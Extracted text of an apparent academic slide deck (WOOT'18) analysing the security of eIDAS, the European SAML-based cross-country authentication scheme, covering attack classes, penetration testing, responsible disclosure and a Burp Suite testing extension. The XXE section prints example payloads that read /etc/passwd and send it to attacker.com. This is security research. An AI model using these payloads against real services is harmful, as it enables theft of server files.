Security Analysis of eIDAS – The Cross-Country ... · Electronic Identification (eID) Services...

Security Analysis of eIDAS – The Cross-Country Authentication Scheme in Europe

Nils Engelbertz, Nurullah Erinola, David Herring, Juraj Somorovsky, Vladislav Mladenov, Jörg Schwenk

Ruhr University Bochum

Electronic Identification (eID) Services

• Strong authentication with eIDcards

• Usage in public and private sector

• Tax, health, education, …

• Since the early 2000s

• Problem: interoperability

Security Analysis of eIDAS – The Cross-Country Authentication Scheme in Europe. WOOT'18 2

• electronic IDentification, Authentication, and Trust Services

• Interoperability framework

• Supports cross-country authentication

• Main standard: SAML

Our Work

• Security of eIDAS authentication services• Systematization of knowledge regarding relevant attacks• Comprehensive penetration test• Responsible disclosure

•Prototype tool support

•Part of the project

1. SAML

2. eIDAS

3. Attacks

• XML Parsing Attacks

• Evaluation

4. EsPreSSO

5. Conclusions

Overview

SAML-based Single Sign-On

Identity ProviderService Provider

1. Start Authentication

2. Start Authentication: SAMLRequest

3. Authentication

4. Authentication Token: SAMLResponse

5. Ressources

<saml:Response>

<saml:Assertion ID="456">

<saml:Issuer>GermanIdP.com</saml:Issuer>

<saml:Subject>

<saml:NameID>Bob@GermanIdP.com</saml:NameID>

</saml:Subject>

<saml:Conditions

NotBefore="2018-03-21T14:42:00Z"

NotOnOrAfter="2018-03-21T14:47:00Z">

<saml:AudienceRestriction>

<saml:Audience>GermanSP.com</saml:Audience>

</saml:AudienceRestriction>

</saml:Conditions>

<ds:Signature Reference="456">

</ds:Signature>

</saml:Assertion>

</saml:Response>

Assertion

Subject

Issuer

NameID

Conditions

Audience

GermanIdP

GermanSP

SAML Authentication TokenResponse

Signature

1. SAML

2. eIDAS

3. Attacks

• Evaluation

4. EsPreSSO

5. Conclusions

Overview

Overview of eID Services

Country SAML OpenID OpenID Connect Other

Austria Yes OAuth

Belgium Yes

Bulgaria Yes Yes

Czech Republic

Denmark Yes (eIDAS) NemID

Estonia

Finland Yes (eIDAS) Yes

France Yes

Georgia No (eIDAS planned) No (obsolete) No

Germany Yes No* SOAP

Netherlands Yes

Norway Yes

Portugal Yes

Sweden Yes

United Kingdom Yes No No SAML (Attribute Query)

eIDAS Yes

Security Analysis of eIDAS – The Cross-Country Authentication Scheme in Europe. WOOT'18

https://github.com/RUB-NDS/FutureTrust/wiki

eIDAS Authentication

• Each country has its own eIDauthentication mechanisms

• Huge differences between these lead to incompatibility• Different architecture

• Different protocols

• Different parameters

• eIDAS provides a bridge making cross-country eID authentication possible

eIDASNode

eIDAS Node eIDAS Node

1. Start Authentication

2. Start Authentication: SAMLRequest1

5. Authentication

6. Authentication Token: SAMLResponse1

9. Ressources

1. SAML

2. eIDAS

3. Attacks

• Evaluation

4. EsPreSSO

5. Conclusions

Overview

eIDASNode

SAML Evaluation [Mainka et al., 2014]

Attacks Summary

Signature Exclusion

Certificate Faking

XML External Entity XSLT Attack

Replay Attacks Recipient Confusion

Signature Wrapping Certificate Injection ACS Spoofing

Open Redirect Covert Redirect Cross-site-scripting

CSRF Attacks Insecure HTTP Session Insecure TLS Session

1. SAML

2. eIDAS

3. Attacks

• Evaluation

4. EsPreSSO

5. Conclusions

Overview

Evaluation of XML Parsing Attacks

• No valid ID cards needed

• Serious attacks; Facebook rewarded with 33,500 $

XML Entities

<?xml version="1.0"?><!DOCTYPE [

<!ENTITY res „HI “>]><data>&res;</data>

The parser first„registers“ the entitieswithin the DOCTYPE

XML Code (example)

XML Entities

<!ENTITY res „HI “>]><data>&res;</data> The parser determines

the reference to an ENTITY

XML Code (example)

XML Entities

<!ENTITY res „HI “>]><data>HI</data>

… and resolves it

XML Code (example)

XML Entities

Are XML Entities

dangerous?

XML Entities

Illegitimate

File Access with XXE

Illegitimate File Access

<!ENTITY file SYSTEM „/etc/passwd“>]><data>&file;</data>

XML Code (example)

Illegitimate File Access

<!ENTITY file SYSTEM „/etc/passwd“><!ENTITY send SYSTEM „http://attacker.com/?f=&file;“>

]><data>&send;</data>

XML Code (example)

1. SAML

2. eIDAS

3. Attacks

• Evaluation

4. EsPreSSO

5. Conclusions

Overview

Evaluation

Comprehensive Evaluation of the eIDASSwedish Pilot

• Offers demo services

• Possible to analyze further attacks like XML Signature Wrapping or XSS, etc.

• No further vulnerabilities found

1. SAML

2. eIDAS

3. Attacks

• Evaluation

4. EsPreSSO

5. Conclusions

Overview

Automatic Evaluation with EsPreSSO

• Burp Suite extension

• Extension for Processing and Recognition of Single Sign-On Protocols

• We implemented XXE and Signature Wrapping attacks for SAML

• XML Encryption attacks planed

1. SAML

2. eIDAS

3. Attacks

• Evaluation

4. EsPreSSO

5. Conclusions

Overview

Conclusion

• XXE is still a problem

• Many critical vulnerabilities are already fixed

• Our contributions• Best Current Practices for eIDAS

• Automated tool for the security analysis of SAML

• More information• https://github.com/RUB-NDS/FutureTrust/wiki

• https://github.com/RUB-NDS/BurpSSOExtension

• https://www.futuretrust.eu/Security Analysis of eIDAS – The Cross-Country Authentication Scheme in Europe. WOOT'18 44

Security Analysis of eIDAS – The Cross-Country ... · Electronic Identification (eID) Services...

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